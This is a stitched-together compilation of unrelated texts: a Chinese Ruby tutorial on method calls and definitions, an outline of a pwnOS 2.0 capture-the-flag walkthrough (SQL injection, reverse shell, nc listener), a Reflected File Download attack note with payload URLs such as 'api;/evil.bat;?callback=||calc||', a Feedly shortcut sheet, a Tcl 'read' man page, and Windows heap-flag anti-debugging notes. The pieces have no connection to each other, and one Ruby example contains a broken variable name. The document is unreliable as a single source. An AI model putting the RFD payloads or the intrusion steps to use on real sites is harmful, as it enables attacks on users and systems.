- https://www.kancloud.cn/imxieke/ruby-base/107294
---
# 方法的调用
**简单的方法调用**
调用方法的语法如下所示：
```ruby
对象. 方法名( 参数 1, 参数 2, … , 参数 n )
```
以对象开头，中间隔着句点，后面接着是方法名，方法名后面是一排并列的用 `()` 括起来的参数。不同的方法定义的参数个数和顺序也都不一样，调用方法时必须按照定义来指定参数。另外，调用方法时 `()` 是可以省略的。
上面的对象被称为接收者（receiver）。在面向对象的世界中，调用方法被称为“向对象发送消息（message）”，调用的结果就是“对象接收（receive）了消息”。也就是说，方法的调用就是把几个参数连同消息一起发送给对象的过程。
**带块的方法调用**
`each` `方法、loop` 方法，方法本身可以与伴随的块一起被调用。这种与块一起被调用的方法，我们称之为带块的方法。
带块的方法的语法如下：
```ruby
对象. 方法名( 参数, …) do | 变量 1, 变量 2, …|
块内容
end
```
`do ～ end` 这部分就是所谓的块。除 do ～ end 这一形式外，我们也可以用 `{～}` 将块改写为其他形式：
```ruby
对象. 方法名( 参数, …) { | 变量 1, 变量 2, …|
块内容
}
```
> 使用 do ～ end 时，可以省略把参数列表括起来的 `()`。使用 `{ ～ }` 时，只有在没有参数的时候才可以省略 `()`，有一个以上的参数时就不能省略。
在块开头的 `～` 部分中指定的变量称为块变量。在执行块的时候，块变量由方法传到块内部。不同的方法对应的块变量的个数、值也都不一样。之前介绍过的 times 方法有一个块变量，执行块时，方法会从 0 开始依次把循环次数赋值给块变量
```ruby
5.times do |i|
puts "第#{i} 次循环。"
end
```
**运算符形式的方法调用**
Ruby 中有些方法看起来很像运算符。四则运算等的二元运算符、`-`（负号）等的一元运算符、指定数组、散列的元素下标的 `[]` 等，实际上都是方法。
- obj + arg1
- obj =~ arg1
- -obj
- !obj
- obj[arg1]
- obj[arg1] = arg2
这些虽然与一般的方法调用的语法有点不一样，但我们可以将 `obj` 理解为接收者，将 `arg1`、`arg2` 理解为参数，这样一来，它们就又是我们所熟知的方法了。我们可以自由定义这种运算符形式的方法。
# 方法的分类
根据接收者种类的不同，Ruby 的方法可分为 3 类：
1. 实例方法
2. 类方法
3. 函数式方法
**实例方法**
实例方法是最常用的方法。假设有一个对象（实例），那么以这个对象为接收者的方法就被称为实例方法。
下面是实例方法的一些例子：
```ruby
p "10, 20, 30, 40".split(",") #=> ["10", "20", "30", "40"]
p [1, 2, 3, 4].index(2) #=> 1
p 1000.to_s #=> "1000"
```
在本例中，从上到下，分别以字符串、数组、数值对象为接收者。
对象能使用的实例方法是由对象所属的类决定的。调用对象的实例方法后，程序就会执行对象所属类预先定义好的处理。
虽然相同名称的方法执行的处理大多都是一样的，但具体执行的内容则会根据对象类型的不同而存在差异。例如，几乎所有的对象都有 to_s 方法，这是一个把对象内容以字符串形式输出的方法。然而，虽然都是字符串形式，但在数值对象与时间对象的情况下，字符串形式以及字符串的创建方法却都不一样。
```ruby
p 10.to_s #=> "10"
p Time.now.to_s #=> "2013-03-18 03:17:02 +900"
```
**类方法**
接收者不是对象而是类本身时的方法，我们称之为类方法。例如，我们在创建对象的时候就使用到了类方法。
```ruby
Array.new # 创建新的数组
File.open("some_file") # 创建新的文件对象
Time.now # 创建新的 Time 对象
```
此外，不直接对实例进行操作，只是对该实例所属的类进行相关操作时，我们也会用到类方法。例如，修改文件名的时候，我们就会使用文件类的类方法。
```ruby
File.rename(oldname, newname) # 修改文件名
```
类方法也有运算符的形式。
```ruby
File::rename(oldname, newname) # 修改文件名
```
调用类方法时，可以使用 `::` 代替 `.`。在 Ruby 语法中，两者所代表的意思是一样的。
**函数式方法**
没有接收者的方法，我们称之为函数式方法。
虽说是没有接收者，但并不表示该方法就真的没有可作为接收者的对象，只是在函数式方法这个特殊情况下，可以省略接收者而已。
```ruby
print "hello!" # 在命令行输出字符串
sleep(10) # 在指定的时间内睡眠，终止程序
```
函数式方法的执行结果，不会根据接收者的状态而发生变化。程序在执行 print 方法以及 sleep 方法的时候，并不需要知道接收者是谁。反过来说，不需要接收者的方法就是函数式方法。
# 方法的标记法
接下来，我们来介绍一下 Ruby 帮助文档中方法名的标记方法。标记某个类的实例方法时，就像 Array#each、Array#inject 这样，可以采用以下标记方法：
```
类名 # 方法名
```
请注意，这只是写帮助文档或者说明时使用的标记方法，程序里面这么写是会出错的。
另外，类方法的标记方法，就像 Array.new 或者 Array::new 这样，可以采用下面两种写法：
- 类名 . 方法名
- 类名 :: 方法名
这和实际的程序语法是一致的。
# 方法的定义
定义方法的一般语法如下：
```ruby
def 方法名( 参数 1, 参数 2, …)
希望执行的处理
end
```
方法名可由英文字母、数字、下划线组成，但不能以数字开头。
```ruby
def hello(name)
puts "Hello, #{name}."
end
hello("Ruby")
```
> 虽然在说明如何定义实例方法或类方法之前，应该先说明如何定义类，但关于类的定义我们还未说明。因此，现在我们只需掌握一点，即定义了方法后，就能像省略接收者的函数式方法那样调用方法了。
通过 hello 方法中的 name 变量，我们就可以引用执行时传进来的参数。该程序的参数为字符串 Ruby，执行结果如下：
```ruby
> ruby hello_with_name.rb
Hello, Ruby.
```
也可以指定默认值给参数。参数的默认值，是指在没有指定参数的情况下调用方法时，程序默认使用的值。定义方法时，用参数名 = 值这样的写法定义默认值。
```ruby
def hello(name="Ruby")
puts "Hello, #{name}."
end
hello() # 省略参数的调用
hello("Newbie") # 指定参数的调用
```
执行示例
```ruby
> ruby hello_with_default.rb
Hello, Ruby.
Hello, Newbie.
```
方法有多个参数时，从参数列表的右边开始依次指定默认值。例如，希望省略三个参数中的两个时，就可以指定右侧两个参数为默认值。
```ruby
def func(a, b=1, c=3)
┊
end
```
请注意只省略左边的参数或者中间的某个参数是不行的。
**方法的返回值**
我们可以用 `return` 指定方法的返回值。
return 值
下面我们来看看求立方体体积的例子。参数 `x`、`y`、`z` 分别代表长、宽、高。`x * y * z` 的结果就是方法的返回值。
```ruby
def volume(x, y, z)
return x * y * z
end
p volume(2, 3, 4) #=> 24
p volume(10, 20, 30) #=> 6000
```
可以省略 `return` 语句，这时方法的最后一个表达式的结果就会成为方法的返回值。下面我们再通过求立方体的表面积这个例子，来看看如何省略 `return`。这里，`area` 方法的最后一行的 `(xy + yz + zx) * 2` 的结果就是方法的返回值。
```ruby
def area(x, y, z)
xy = x * y
yz = y * z
zx = z * x
(xy + yz + zx) * 2
end
p area(2, 3, 4) #=> 52
p area(10, 20, 30) #=> 2200
```
方法的返回值，也不一定是程序最后一行的执行结果。例如，在下面的程序中，比较两个值的大小，并返回较大的值。`if` 语句的结果就是方法的返回值，即 `a > b` 的结果为真时，`a` 为返回值；结果为假时，则 `b` 为返回值。
```ruby
def max(a, b)
if a > b
a
else
b
end
end
p max(10, 5) #=> 10
```
因为可以省略，所以有些人就会感觉好像没什么机会用到 `return`，但是有些情况下我们会希望马上终止程序，这时 `return` 就派上用场了。用 `return` 语句改写的 `max` 方法如下所示，大家可以对比一下和之前有什么异同。
```ruby
def max(a, b)
if a > b
return a
end
return b # 这里的return 可以省略
end
p max(10, 5) #=> 10
```
如果省略 return 的参数，程序则返回 nil。方法的目的是程序处理，所以 Ruby 允许没有返回值的方法。Ruby 中有很多返回值为 nil 的方法，第 1 章中介绍的 print 方法就是其中一。
print 方法只输出参数的内容，返回值为 nil。
```ruby
p print("1:") #=> 1:nil
# （显示print 方法的输出结果1: 与p 方法的输出结果nil）
```
**定义带块的方法**
之前我们已经介绍过带块的方法，下面就来介绍一下如何定义带块的方法。
首先我们来实现 myloop 方法，它与利用块实现循环的 loop 方法的功能是一样的。
```ruby
def myloop
while true
yield # 执行块
end
end
num = 1 # 初始化num
myloop do
puts "num is #{num}" # 输出num
break if num > 100 # num 超过 100 时跳出循环
num *= 2 # num 乘2
end
```
这里第一次出现了 `yield`，`yield` 是定义带块的方法时最重要的关键字。调用方法时通过块传进来的处理会在 `yield` 定义的地方执行。
执行该程序后，`num` 的值就会像 1、2、4、8、16……这样 2 倍地增长下去，直到超过 100 时程序跳出 `myloop` 方法。
```ruby
> ruby myloop.rb
num is 1
num is 2
num is 4
num is 8
num is 16
num is 32
num is 64
num is 128
```
本例的程序中没有参数，如果 `yield` 部分有参数，程序就会将其当作块变量传到块里。块里面最后的表达式的值既是块的执行结果，同时也可以作为 `yield` 的返回值在块的外部使用。
**参数个数不确定的方法**
像下面的例子那样，通过用“`*` 变量名”的形式来定义参数个数不确定的方法，Ruby 就可以把所有参数封装为数组，供方法内部使用。
```ruby
def foo(*args)
args
end
p foo(1, 2, 3) #=> [1, 2, 3]
```
至少需要指定一个参数的方法可以像下面这样定义：
```ruby
def meth(arg, *agrs)
[arg, args]
end
p meth(1) #=> [1, []]
p meth(1, 2, 3) #=> [1, [2, 3]]
```
所有不确定的参数都被作为数组赋值给变量 args。“* 变量名”这种形式的参数，只能在方法定义的参数列表中出现一次。只确定首个和最后一个参数名，并省略中间的参数时，可以像下面这样定义：
```ruby
def a(a, *b, c)
[a, b, c]
end
p a(1, 2, 3, 4, 5) #=> [1, [2, 3, 4], 5]
p a(1, 2) #=> [1, [], 2]
```
**关键字参数**
关键字参数是 Ruby 2.0 中的新特性。
在目前为止介绍过的方法定义中，我们都需要定义调用方法时的参数个数以及调用顺序。而使用关键字参数，就可以将参数名与参数值成对地传给方法内部使用。
使用关键字参数定义方法的语法如下所示：
```ruby
def 方法名 (参数 1: 参数 1 的值, 参数 2: 参数 2 的值, …)
希望执行的处理
end
```
除了参数名外，使用“参数名 : 值”这样的形式还可以指定参数的默认值。用关键字参数改写计算立方体表面积的 `area` 方法的程序如下所示：
```ruby
def area2(x: 0, y: 0, z: 0)
xy = x * y
yz = y * z
zx = z * x
(xy + yz + zx ) * 2
end
p area2(x: 2, y: 3, z: 4) #=> 52
p area2(z: 4, y: 3, x: 2) #=> 52 （改变参数的顺序）
p area2(x: 2, z: 3) #=> 12 （省略y）
```
这个方法有参数 `x`、`y`、`z`，各自的默认值都为 `0`。调用该方法时，可以像 `x: 2` 这样，指定一对实际的参数名和值。在用关键字参数定义的方法中，每个参数都指定了默认值，因此可以省略任何一个。而且，由于调用方法时也会把参数名传给方法，所以参数顺序可以自由地更改。
不过，如果把未定义的参数名传给方法，程序就会报错，如下所示：
```ruby
area2(foo: 0) #=> 错误：unknown keyword: foo（ArgumentError）
```
为了避免调用方法时因指定了未定义的参数而报错，我们可以使用“** 变量名”的形式来 接收未定义的参数。下面这个例子的方法中，除了关键字参数 `x`、`y`、`z` 外，还定义了 `**arg` 参数。参数 `arg` 会把参数列表以外的关键字参数以散列对象的形式保存。
```ruby
def meth(x: 0, y: 0, z: 0, **args)
[x, y, z, args]
end
p meth(z: 4, y: 3, x: 2) #=> [2, 3, 4, {}]
p meth(x: 2, z: 3, v: 4, w: 5) #=> [2, 0, 3, {:v=>4, :w=>5}]
```
- 关键字参数与普通参数的搭配使用
关键字参数可以与普通参数搭配使用。
```ruby
def func(a, b: 1, c:2)
┊
end
```
上述这样定义时，`a` 为必须指定的普通参数，`b`、`c` 为关键字参数。调用该方法时，可以像下面这样，首先指定普通参数，然后是关键字参数。
```ruby
func(1, b: 2, c: 3)
```
- 用散列传递参数
调用用关键字参数定义的方法时，可以使用以符号作为键的散列来传递参数。这样一来，程序就会检查散列的键与定义的参数名是否一致，并将与散列的键一致的参数名传递给方法。
```ruby
def area2(x: 0, y: 0, z: 0)
xy = x * y
yz = y * z
zx = z * x
(xy + yz + zx ) * 2
end
args1 = {x: 2, y: 3, z: 4}
p area2(args1) #=> 52
args2 = {x: 2, z: 3} #=> 省略y
p area2(args2) #=> 12
```
**关于方法调用的一些补充**
- 把数组分解为参数
将参数传递给方法时，我们也可以先分解数组，然后再将分解后的数组元素作为参数传递给方法。在调用方法时，如果以“* 数组”这样的形式指定参数，这时传递给方法的就不是数组本身，而是数组的各元素被按照顺序传递给方法。但需要注意的是，数组的元素个数必须要和方法定义的参数个数一样。
```ruby
def foo(a, b, c)
a + b + c
end
p foo(1, 2, 3) #=> 6
args1 = [2, 3]
p foo(1, *args1) #=> 6
args2 = [1, 2, 3]
p foo(*args2) #=> 6
```
- 把散列作为参数传递
我们用 `{ ～ }` 这样的形式来表示散列的字面量（literal）。将散列的字面量作为参数传递给方法时可以省略 `{}`。
```ruby
def foo(arg)
arg
end
p foo({"a"=>1, "b"=>2}) #=> {"a"=>1, "b"=>2}
p foo("a"=>1, "b"=>2) #=> {"a"=>1, "b"=>2}
p foo(a: 1, b:2) #=> {:a=>1, :b=>2}
```
当虽然有多个参数，但只将散列作为最后一个参数传递给方法时，可以使用下面的写法：
```ruby
def bar(arg1, arg2)
[arg1, arg2]
end
p bar(100, {"a"=>1, "b"=>2}) #=> [100, {"a"=>1, "b"=>2}]
p bar(100, "a"=>1, "b"=>2) #=> [100, {"a"=>1, "b"=>2}]
p bar(100, a: 1, b: 2) #=> [100, {:a=>1, :b=>2}]
```
第 3 种形式是把符号作为键的散列传递给方法，与使用关键字参数调用方法的形式一模一样。其实，关键字参数就是模仿这种将散列作为参数传递的写法而设计出来的。使用关键字参数定义方法，既可以对键进行限制，又可以定义参数的默认值。因此建议大家在实际编写程序的时候多尝试使用关键字参数。
# 如何书写简明易懂的程序
程序不只是为了让计算机理解、执行而存在的，还要能便于人们读写。即使是实现相同功能的程序，有的可能通俗易懂，有的却晦涩难懂。程序是否易懂，除了与程序的设计和架构有关外，程序的外观也起着很重要的作用。而通过注意下面列举的 3 点，就可以使程序变得更漂亮。
- 换行和;
- 缩进（indent）
- 空白
**换行和;**
Ruby 语法的特征之一就是换行可作为语句结束的标志使用。
除了可以使用换行表示语句结束外，我们还可以使用 `;`。这样一来，一行程序里就可以写多条语句，例如，
```ruby
str = "hello"; print str
```
这样的写法与下面的写法具有一样的效果。
```ruby
str = "hello"
print str
```
使用该语法时，把换行看作是一种自然的语句间隔，会更加便于我们读写程序。比起把多个操作都写在一行里，适当的换行是书写简明易懂的程序的第一步。
然而，过多地使用 `;`，往往会使程序变得难以读懂。因此，在使用 `;` 之前，应问问自己是不是非使用不可。经过仔细的考量，如果觉得使用后会使程序变得易懂的话再使用也不迟。顺便说一下，笔者平时也很少会用到 `;`。
**缩进**
缩进，也就是使文字“后退”。这是在程序行的开头输入适当的空白字符来强调程序整体感的一种书写方法。在本书中，我们用两个空白表示一个缩进。
在下面的例子中，为了表示 `print` 方法的那两行程序是 `if ～ end` 的内部处理，程序进行了缩进。
```ruby
if a == 1
print message1
print message2
end
```
插入循环等的时候，会使用更深的缩进。这样一来，语句和循环的对应关系就会变得一目了然。
```ruby
while a < 100
while b < 20
b = b + 1
print b
end
a = a + 1
print a
end
```
下面列举了一些需要使用缩进的情况。
- 条件分支
- 循环
- 块
- 方法、类等的定义
使用缩进时，需要遵守以下事项。
- 不要突然使用缩进
- 确保缩进的整齐
**空白**
空白存在于程序的各个角落。使用空白时，我们需要注意以下事项。
- 确保空白长度整齐，保持良好的平衡感
特别是，如果在运算符前后使用的空白长度不一样，程序就很可能出现莫名其妙的错误。例如，计算 a 加 b 时，不同的空白写法，得到的可能是完全不一样的结果。
```
a+b ○好的写法
a + b ○好的写法
a +b ×不好的写法
a+ b ×不好的写法
a +b 表示调用参数为 +b 的方法 a，整个表达式容易被误认为 a(+b)，因此不是好的写法。可见，在 + 前后书写空白时，要确保平衡。
```
- 良好的编码风格
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# PWNOS：2.0
下载地址：https://download.vulnhub.com/pwnos/pWnOS_v2.0.7z
## 实战演练
靶机的IP为静态地址10.10.10.100
这里面有注入漏洞，sqlmap跑一下
注入漏洞
写入反弹shell
nc监听
查找密码，找到了这个密码不能登录
找到了这个密码，可以登录
另外一种思路
blog系统版本
查找漏洞的版本
使用exp
不知道为什么没有生成cookie，就这样把。。。
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## Reflected File Download (RFD)
## Introduction
Reflected File Download (RFD) is web based attack that extends reflected attacks beyond the context of the web browser. Attackers can build malicious URLs which once accessed, download files, and store them with any desired extension, giving a new malicious meaning to reflected input, even if it is properly escaped.
## Where to find
You can detect Reflected File Download (RFD) everywhere but there are 2 things that need to be looked up.
- Finding reflected input (For example: JSONP Callback)
- We can control the filename (there are several requirements that must be met)
- Make sure that the `Content-Disposition` header does not include the `filename` attribute.
```
Content-Disposition: attachment;
```
- If there isn't any `Content-Disposition` header, you can use download attributes in the `<a>` tag. For example, like this:
```
<a download href="https://example/api/?id=1&outputtype=json&callback=||calc||">Press Here</a>
```
## How to exploit
1. Basic payload
```
http://example.com/api;/evil.bat;?callback=||calc||
```
"The browser will download the `evil.bat` file, and if you open the `.bat` file, the calculator will pop up.
## References
* [Paper: Reflected File Download a New Web Attack Vector](https://drive.google.com/file/d/0B0KLoHg_gR_XQnV4RVhlNl96MHM/view?resourcekey=0-NV7cTUTB48bltMEddlULLg)
* [Reflected File Download(RFD) Vulnerability. What? How?](https://medium.com/@Johne_Jacob/rfd-reflected-file-download-what-how-6d0e6fdbe331)
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sec-knowleage
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# 讨论交流
如果你有任何想要讨论的问题，请选择 [Github Discussion](https://github.com/ctf-wiki/ctf-wiki/discussions) 或者 [Slack](https://join.slack.com/t/ctf-wiki/shared_invite/enQtNTkwNDg5NDUzNzAzLTQ3YTliNzI5OGNhM2NmNzI3NTU0YWRlNWFkY2EzYTExN2Y3ZjRkNzYzYmRhNDNlYmY5YTVmNjNhYjliZDgyNTY).
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---
title: Feedly
date: 2022-11-23 16:23:31.705686
background: bg-[#55a955]
label:
tags:
-
-
categories:
- Keyboard Shortcuts
intro: |
A visual cheat-sheet for the 25 keyboard shortcuts found on the Feedly app
---
Keyboard Shortcuts
------------------
### Navigation {.row-span-2}
Shortcut | Action
---|---
`G` `T` | Show Today
`G` `A` | Show All
`G` `F` | Show Favorites
`G` `G` | Jump to...
`G` `L` | Read later
`G` `I` | Index
`G` `O` | Organize sources
`Shift` `J` | Next source or collection
`Shift` `K` | Previous source or collection
`R` | Refresh
{.shortcuts}
### Lists
Shortcut | Action
---|---
`J` | Inline next artlcke
`K` | Inline previous article
`N` | Select the next article
`P` | Select the previous article
`Shift` `A` | Mark all as read
{.shortcuts}
### Selected Article {.row-span-2}
Shortcut | Action
---|---
`O` | Inline or close the currently selected article
`V` | View the original in a new tab
`M` | Toggle mark as read
`X` | Mark as read and hide
`S` | Read later
`T` | Save to Board
`B` | Save to Buffer
`C` | Clip to Evernote
`Shift` `V` | Preview
{.shortcuts}
### Help
Shortcut | Action
---|---
`?` | Show keyboard shortcuts
{.shortcuts}
Also see
--------
- [Keyboard shortcuts for Feedly](https://blog.feedly.com/keyboard-shortcuts/) _(blog.feedly.com)_
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'\"
'\" Copyright (c) 1993 The Regents of the University of California.
'\" Copyright (c) 1994-1996 Sun Microsystems, Inc.
'\"
'\" See the file "license.terms" for information on usage and redistribution
'\" of this file, and for a DISCLAIMER OF ALL WARRANTIES.
'\"
'\" RCS: @(#) $Id: read.n,v 1.2 2003/11/24 05:09:59 bbbush Exp $
'\"
'\" The definitions below are for supplemental macros used in Tcl/Tk
'\" manual entries.
'\"
'\" .AP type name in/out ?indent?
'\" Start paragraph describing an argument to a library procedure.
'\" type is type of argument (int, etc.), in/out is either "in", "out",
'\" or "in/out" to describe whether procedure reads or modifies arg,
'\" and indent is equivalent to second arg of .IP (shouldn't ever be
'\" needed; use .AS below instead)
'\"
'\" .AS ?type? ?name?
'\" Give maximum sizes of arguments for setting tab stops. Type and
'\" name are examples of largest possible arguments that will be passed
'\" to .AP later. If args are omitted, default tab stops are used.
'\"
'\" .BS
'\" Start box enclosure. From here until next .BE, everything will be
'\" enclosed in one large box.
'\"
'\" .BE
'\" End of box enclosure.
'\"
'\" .CS
'\" Begin code excerpt.
'\"
'\" .CE
'\" End code excerpt.
'\"
'\" .VS ?version? ?br?
'\" Begin vertical sidebar, for use in marking newly-changed parts
'\" of man pages. The first argument is ignored and used for recording
'\" the version when the .VS was added, so that the sidebars can be
'\" found and removed when they reach a certain age. If another argument
'\" is present, then a line break is forced before starting the sidebar.
'\"
'\" .VE
'\" End of vertical sidebar.
'\"
'\" .DS
'\" Begin an indented unfilled display.
'\"
'\" .DE
'\" End of indented unfilled display.
'\"
'\" .SO
'\" Start of list of standard options for a Tk widget. The
'\" options follow on successive lines, in four columns separated
'\" by tabs.
'\"
'\" .SE
'\" End of list of standard options for a Tk widget.
'\"
'\" .OP cmdName dbName dbClass
'\" Start of description of a specific option. cmdName gives the
'\" option's name as specified in the class command, dbName gives
'\" the option's name in the option database, and dbClass gives
'\" the option's class in the option database.
'\"
'\" .UL arg1 arg2
'\" Print arg1 underlined, then print arg2 normally.
'\"
'\" RCS: @(#) $Id: read.n,v 1.2 2003/11/24 05:09:59 bbbush Exp $
'\"
'\" # Set up traps and other miscellaneous stuff for Tcl/Tk man pages.
.if t .wh -1.3i ^B
.nr ^l \n(.l
.ad b
'\" # Start an argument description
.de AP
.ie !"\\$4"" .TP \\$4
.el \{\
. ie !"\\$2"" .TP \\n()Cu
. el .TP 15
.\}
.ta \\n()Au \\n()Bu
.ie !"\\$3"" \{\
\&\\$1 \\fI\\$2\\fP (\\$3)
.\".b
.\}
.el \{\
.br
.ie !"\\$2"" \{\
\&\\$1 \\fI\\$2\\fP
.\}
.el \{\
\&\\fI\\$1\\fP
.\}
.\}
..
'\" # define tabbing values for .AP
.de AS
.nr )A 10n
.if !"\\$1"" .nr )A \\w'\\$1'u+3n
.nr )B \\n()Au+15n
.\"
.if !"\\$2"" .nr )B \\w'\\$2'u+\\n()Au+3n
.nr )C \\n()Bu+\\w'(in/out)'u+2n
..
.AS Tcl_Interp Tcl_CreateInterp in/out
'\" # BS - start boxed text
'\" # ^y = starting y location
'\" # ^b = 1
.de BS
.br
.mk ^y
.nr ^b 1u
.if n .nf
.if n .ti 0
.if n \l'\\n(.lu\(ul'
.if n .fi
..
'\" # BE - end boxed text (draw box now)
.de BE
.nf
.ti 0
.mk ^t
.ie n \l'\\n(^lu\(ul'
.el \{\
.\" Draw four-sided box normally, but don't draw top of
.\" box if the box started on an earlier page.
.ie !\\n(^b-1 \{\
\h'-1.5n'\L'|\\n(^yu-1v'\l'\\n(^lu+3n\(ul'\L'\\n(^tu+1v-\\n(^yu'\l'|0u-1.5n\(ul'
.\}
.el \}\
\h'-1.5n'\L'|\\n(^yu-1v'\h'\\n(^lu+3n'\L'\\n(^tu+1v-\\n(^yu'\l'|0u-1.5n\(ul'
.\}
.\}
.fi
.br
.nr ^b 0
..
'\" # VS - start vertical sidebar
'\" # ^Y = starting y location
'\" # ^v = 1 (for troff; for nroff this doesn't matter)
.de VS
.if !"\\$2"" .br
.mk ^Y
.ie n 'mc \s12\(br\s0
.el .nr ^v 1u
..
'\" # VE - end of vertical sidebar
.de VE
.ie n 'mc
.el \{\
.ev 2
.nf
.ti 0
.mk ^t
\h'|\\n(^lu+3n'\L'|\\n(^Yu-1v\(bv'\v'\\n(^tu+1v-\\n(^Yu'\h'-|\\n(^lu+3n'
.sp -1
.fi
.ev
.\}
.nr ^v 0
..
'\" # Special macro to handle page bottom: finish off current
'\" # box/sidebar if in box/sidebar mode, then invoked standard
'\" # page bottom macro.
.de ^B
.ev 2
'ti 0
'nf
.mk ^t
.if \\n(^b \{\
.\" Draw three-sided box if this is the box's first page,
.\" draw two sides but no top otherwise.
.ie !\\n(^b-1 \h'-1.5n'\L'|\\n(^yu-1v'\l'\\n(^lu+3n\(ul'\L'\\n(^tu+1v-\\n(^yu'\h'|0u'\c
.el \h'-1.5n'\L'|\\n(^yu-1v'\h'\\n(^lu+3n'\L'\\n(^tu+1v-\\n(^yu'\h'|0u'\c
.\}
.if \\n(^v \{\
.nr ^x \\n(^tu+1v-\\n(^Yu
\kx\h'-\\nxu'\h'|\\n(^lu+3n'\ky\L'-\\n(^xu'\v'\\n(^xu'\h'|0u'\c
.\}
.bp
'fi
.ev
.if \\n(^b \{\
.mk ^y
.nr ^b 2
.\}
.if \\n(^v \{\
.mk ^Y
.\}
..
'\" # DS - begin display
.de DS
.RS
.nf
.sp
..
'\" # DE - end display
.de DE
.fi
.RE
.sp
..
'\" # SO - start of list of standard options
.de SO
.SH "STANDARD OPTIONS"
.LP
.nf
.ta 5.5c 11c
.ft B
..
'\" # SE - end of list of standard options
.de SE
.fi
.ft R
.LP
See the \\fBoptions\\fR manual entry for details on the standard options.
..
'\" # OP - start of full description for a single option
.de OP
.LP
.nf
.ta 4c
Command-Line Name: \\fB\\$1\\fR
Database Name: \\fB\\$2\\fR
Database Class: \\fB\\$3\\fR
.fi
.IP
..
'\" # CS - begin code excerpt
.de CS
.RS
.nf
.ta .25i .5i .75i 1i
..
'\" # CE - end code excerpt
.de CE
.fi
.RE
..
.de UL
\\$1\l'|0\(ul'\\$2
..
.TH read 3tcl 8.1 Tcl "Tcl Built-In Commands"
.BS
'\" Note: do not modify the .SH NAME line immediately below!
.SH NAME
read \- 从一个通道读
.SH "总览 SYNOPSIS"
\fBread \fR?\fB\-nonewline\fR? \fIchannelId\fR
.sp
\fBread \fIchannelId numChars\fR
.BE
.SH "描述 DESCRIPTION"
.PP
在第一种形式下，\fBread\fR 命令从 \fIchannelId\fR 读出直到文件结束的所有数据。如果指定了 \fB-nonewline\fR 开关，那么文件的最后一个字符要是换行的话则丢弃它。
.VS 8.1
在第二种情况下，额外的参数指定要读多少个字符。 实际上就读取并返回这么多字符，除非在文件中剩下的字符少于 \fInumChars\fR ；在这种情况下返回所有剩余的字符。如果通道被配置成使用多字节编码，则读的字符数可能与读的字节数不相同。
.PP
如果 \fIchannelId\fR 在非阻塞模式下，这个命令读的字符可能不象要求的那样多: 一旦所有可获得的输入已经被读取了，这个命令将返回这些可获得的数据，而不是为得到更多数据而阻塞。如果通道被配置成使用多字节编码，则实际上可能有一些字节因为不能形成一个完整的字符而保留在内部缓冲区中。一直等到可获得一个完整的字符或到达文件结束，此前不返回这些字节。
.VE 8.1
如果命令在到达文件结束之前返回则忽略 \fB-nonewline\fR 开关。
.PP
\fBRead\fR 依照给通道的 \fB-translation\fR 选项把输入中的行结束转换成换行字符。参见 \fBfconfigure\fR 手册条目来得到关于 \fBfconfigure\fR 如何改变输入的一个讨论。
.SH "参见 SEE ALSO"
file(n), eof(n), fblocked(n), fconfigure(n)
.SH "关键字 KEYWORDS"
blocking, channel, end of line, end of file, nonblocking, read, translation, encoding
.SH "[中文版维护人]"
.B 寒蝉退士
.SH "[中文版最新更新]"
.B 2001/10/18
.SH "《中国 Linux 论坛 man 手册页翻译计划》:"
.BI http://cmpp.linuxforum.net
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### 关于Heap flags
`Heap flags`包含有两个与`NtGlobalFlag`一起初始化的标志: `Flags`和`ForceFlags`. 这两个字段的值不仅会受调试器的影响, 还会由windows版本而不同, 字段的位置也取决于windows的版本.
* Flags字段:
* 在32位Windows NT, Windows 2000和Windows XP中, `Flags`位于堆的`0x0C`偏移处. 在32位Windows Vista及更新的系统中, 它位于`0x40`偏移处.
* 在64位Windows XP中, `Flags`字段位于堆的`0x14`偏移处, 而在64位Windows Vista及更新的系统中, 它则是位于`0x70`偏移处.
* ForceFlags字段:
* 在32位Windows NT, Windows 2000和Windows XP中, `ForceFlags`位于堆的`0x10`偏移处. 在32位Windows Vista及更新的系统中, 它位于`0x44`偏移处.
* 在64位Windows XP中, `ForceFlags`字段位于堆的`0x18`偏移处, 而在64位Windows Vista及更新的系统中, 它则是位于`0x74`偏移处.
在所有版本的Windows中, `Flags`字段的值正常情况都设为`HEAP_GROWABLE(2)`, 而`ForceFlags`字段正常情况都设为`0`. 然而对于一个32位进程(64位程序不会有此困扰), 这两个默认值, 都取决于它的宿主进程(host process)的[`subsystem`](https://msdn.microsoft.com/en-us/library/ms933120.aspx)版本(这里不是指所说的比如win10的linux子系统). 只有当`subsystem`在`3.51`及更高的版本, 字段的默认值才如前所述. 如果是在`3.10-3.50`版本之间, 则两个字段的`HEAP_CREATE_ALIGN_16 (0x10000)`都会被设置. 如果版本低于`3.10`, 那么这个程序文件就根本不会被运行.
如果某操作将`Flags`和`ForgeFlags`字段的值分别设为`2`和`0`, 但是却未对`subsystem`版本进行检查, 那么就可以表明该动作是为了隐藏调试器而进行的.
当调试器存在时, 在`Windows NT`, `Windows 2000`和32位`Windows XP`系统下, `Flags`字段会设置以下标志:
``` c
HEAP_GROWABLE (2)
HEAP_TAIL_CHECKING_ENABLED (0x20)
HEAP_FREE_CHECKING_ENABLED (0x40)
HEAP_SKIP_VALIDATION_CHECKS (0x10000000)
HEAP_VALIDATE_PARAMETERS_ENABLED (0x40000000)
```
在64位`Windows XP`系统, `Windows Vista`及更新的系统版本, `Flags`字段则会设置以下标志(少了`HEAP_SKIP_VALIDATION_CHECKS (0x10000000)`):
``` c
HEAP_GROWABLE (2)
HEAP_TAIL_CHECKING_ENABLED (0x20)
HEAP_FREE_CHECKING_ENABLED (0x40)
HEAP_VALIDATE_PARAMETERS_ENABLED (0x40000000)
```
而对于`ForgeFlags`字段, 正常情况则会设置以下标志:
``` c
HEAP_TAIL_CHECKING_ENABLED (0x20)
HEAP_FREE_CHECKING_ENABLED (0x40)
HEAP_VALIDATE_PARAMETERS_ENABLED (0x40000000)
```
因为`NtGlobalFlag`标志的关系, `heap`也会设置一些标志位
* 如果在`NtGlobalFlag`字段中有设置`FLG_HEAP_ENABLE_TAIL_CHECK`标志, 那么在`heap`字段中就会设置`HEAP_TAIL_CHECKING_ENABLED`标志.
* 如果在`NtGlobalFlag`字段中有设置`FLG_HEAP_ENABLE_FREE_CHECK`标志, 那么在`heap`字段中就会设置`FLG_HEAP_ENABLE_FREE_CHECK`标志.
* 如果在`NtGlobalFlag`字段中有设置`FLG_HEAP_VALIDATE_PARAMETERS`标志, 那么在`heap`字段中就会设置`HEAP_VALIDATE_PARAMETERS_ENABLED`标志(在`Windows NT`和`Windows 2000`中还会设置`HEAP_CREATE_ALIGN_16 (0x10000)`标志).
